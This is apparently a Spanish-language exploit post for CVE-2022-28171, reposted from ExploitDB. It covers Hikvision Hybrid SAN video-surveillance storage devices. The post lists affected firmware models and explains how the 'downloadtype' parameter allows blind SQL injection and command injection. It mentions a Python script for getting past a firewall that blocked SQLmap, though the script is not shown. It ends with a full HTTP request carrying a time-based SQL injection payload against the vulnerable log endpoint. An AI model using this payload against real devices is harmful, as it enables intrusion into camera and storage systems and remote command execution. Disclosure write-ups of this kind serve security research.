
Exploit en Python para CVE-2022-28171 dirigido a dispositivos Hikvision Hybrid SAN, automatizando la inyección SQL ciega y la inyección de comandos para lograr la ejecución remota de código.
Originalmente publiqué esto en ExploitDB, que puedes encontrar en https://www.exploit-db.com/exploits/51607
# Date: 16 July 2023
# Exploit Author: Thurein Soe
# CVE : CVE-2022-28171
# Reference Link: https://cve.report/CVE-2022-28171
# Vulnerable Versions:
Ds-a71024 Firmware
Ds-a71024 Firmware
Ds-a71048r-cvs Firmware
Ds-a71048 Firmware
Ds-a71072r Firmware
Ds-a71072r Firmware
Ds-a72024 Firmware
Ds-a72024 Firmware
Ds-a72048r-cvs Firmware
Ds-a72072r Firmware
Ds-a80316s Firmware
Ds-a80624s Firmware
Ds-a81016s Firmware
Ds-a82024d Firmware
Ds-a71048r-cvs
Ds-a71024
Ds-a71048
Ds-a71072r
Ds-a80624s
Ds-a82024d
Ds-a80316s
Ds-a81016s
Hikvision es un fabricante y proveedor líder mundial de videovigilancia y equipos de Internet de las Cosas (IoT) para fines civiles y militares. Algunos productos Hikvision Hybrid SAN eran vulnerables a múltiples vulnerabilidades de ejecución remota de código, como inyección de comandos, inyección SQL ciega, contrabando de solicitudes HTTP y cross-site scripting reflejado. Esto resultaba en ejecución remota de código, lo que permitía ejecutar comandos arbitrarios del sistema operativo y más.
La prueba manual confirmó que el parámetro "downloadtype" era vulnerable a inyección SQL ciega e inyección de comandos. Creé un script en Python para automatizar y enumerar versiones de SQL, ya que la aplicación estaba detrás de un firewall y bloqueaba todas las solicitudes de SQLmap.
Request Body:
GET /web/log/dynamic_log.php?target=makeMaintainLog&downloadtype='(select*from(select(sleep(10)))a)' HTTP/1.1
Host: X.X.X.X.12:2004
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Connection: close